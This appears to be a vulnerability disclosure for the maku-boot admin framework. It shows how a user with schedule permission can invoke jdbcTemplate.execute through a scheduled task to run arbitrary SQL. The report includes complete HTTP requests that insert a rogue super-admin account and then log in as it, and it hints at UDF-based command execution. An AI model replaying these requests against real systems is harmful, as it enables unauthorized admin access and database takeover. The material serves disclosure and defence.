Impact
version:maku-boot v1.3.0-v2.2.0
Users with "schedule" permissions can execute arbitrary sql statements, even rce
Code Audit
The vulnerability code is located at:
- https://github.com/makunet/maku-boot/blob/master/maku-boot-module/maku-module-quartz/src/main/java/net/maku/quartz/utils/AbstractScheduleJob.java
- https://gitee.com/makunet/maku-boot/blob/master/maku-boot-module/maku-module-quartz/src/main/java/net/maku/quartz/utils/AbstractScheduleJob.java
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/b4e88872c3489346ff252400e540a0f8ea1e806b205a800d698fe4e56aadd50a/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830383234303235313934353133372f34643563363863645f373535343630382e706e67)
Need to find an exploitable method that satisfies the following conditions:
- The class that defines the method is in the spring bean container.
- The method has only one parameter, and the parameter type must be a string.
- The method must be public.
Deploy maku-boot locally and write auxiliary code to find a method that meets the above conditions:
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/9c6f01640ba30bea45e44906647e3579210575b65f09fe40c37159c953c04589/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830383338333238363934353036352f38623065353536325f373535343630382e706e67)
Visit http://localhost:8080/index
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/8211d0e4c875b5b4f349147148b881ec977583fa656e4ffe5a22b7f5b0d77a67/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830383434393932333333343433312f62313139343339305f373535343630382e706e67)
Find org.springframework.jdbc.core.JdbcTemplate#execute(java.lang.String)
method, this method can perform any SQL statement
The next section is the exploit procedure
Steps to reproduce
Visit the official demo site: https://demo.maku.net/maku-boot/#/login
-
Log in as user name 'admin' and password 'admin'.
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/55aa48f8c9c56f67758e61f796ff5312136cf3c73029a2b31b2e0be35f60709b/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830383537393438383438363233312f31316234643634395f373535343630382e706e67)
-
Go to https://demo.maku.net/maku-boot/#/quartz/schedule/index and add timing task after a successful login.
Click the Add button in the image below.
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/8c097df5f1d4ceda0b0d0754622bc9decd98233d8072d717a81fe7e129a9a639/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830383632303037363039313932322f31636539323366345f373535343630382e706e67)
Fill in the following important parameters and click the submit button in the image below:
- bean name: jdbcTemplate
- method name: execute
- method param:
INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, '[email protected]', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/35386e3e93a3cabbe3a906f49c7ffe402a648040e244d35c7661a5e478a19ebd/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830383835333039353936393136382f66353561343931315f373535343630382e706e67)
The packet is as follows:
POST /maku-boot-server/schedule HTTP/1.1
Host: demo.maku.net
Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738
Content-Length: 583
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"
Accept-Language: zh-CN
Sec-Ch-Ua-Mobile: ?0
Authorization: 06f170e5cdbf4c83b5e3ba5ffc4cde98
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.maku.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.maku.net/maku-boot/
Accept-Encoding: gzip, deflate
Connection: close
{"id":"","jobName":"test","jobGroup":"default","beanName":"jdbcTemplate","method":"execute","params":"INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, '[email protected]', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());","cronExpression":"* * * * * ? *","status":0,"concurrent":1,"remark":""}
- Click the run button in the image below to execute the scheduled task you just created.
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/f691e4a4404befdd375cdfd5b7296a3225465c78d2ff11e85c6772c07829de08/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830383933373132303732313932382f64633133616230615f373535343630382e706e67)
The packet is as follows:
PUT /maku-boot-server/schedule/run HTTP/1.1
Host: demo.maku.net
Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738
Content-Length: 618
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"
Accept-Language: zh-CN
Sec-Ch-Ua-Mobile: ?0
Authorization: 06f170e5cdbf4c83b5e3ba5ffc4cde98
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.maku.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.maku.net/maku-boot/
Accept-Encoding: gzip, deflate
Connection: close
{"id":24,"jobName":"test","jobGroup":"default","beanName":"jdbcTemplate","method":"execute","params":"INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, '[email protected]', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());","cronExpression":"* * * * * ? *","status":0,"concurrent":1,"remark":"","createTime":"2022-11-07 11:23:34"}
After the sql statement is successfully executed, an administrator user test123/admin is created
- Log in to the system as test123/admin
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/737f0b6dc106351e02c5663de314241b2d7e91193c13ab85c35d01c6d6da7f87/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830393031353935303835313139352f66396231636435655f373535343630382e706e67)
The packet is as follows:
POST /maku-boot-server/sys/auth/login HTTP/1.1
Host: demo.maku.net
Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738
Content-Length: 104
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Accept-Language: zh-CN
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.maku.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.maku.net/maku-boot/
Accept-Encoding: gzip, deflate
Connection: close
{"username":"test123","password":"admin","key":"30aef83e-2804-49ea-acb5-b5678cdc27dc","captcha":"bdrgr"}
Login successful
![屏幕截图 输入图片说明](https://camo.githubusercontent.com/ef588aff7ad90035ecee1da9d24d992a757c4b8f9b42cf9939e8bed2cebac2f4/68747470733a2f2f666f727564612e67697465652e636f6d2f696d616765732f313636373830393036313932373735333534362f32633263366666615f373535343630382e706e67)
In addition, any sql statements can be executed, and the maku-boot program supports mysql and postgresql databases. Therefore, the udf may upgrade permissions and execute commands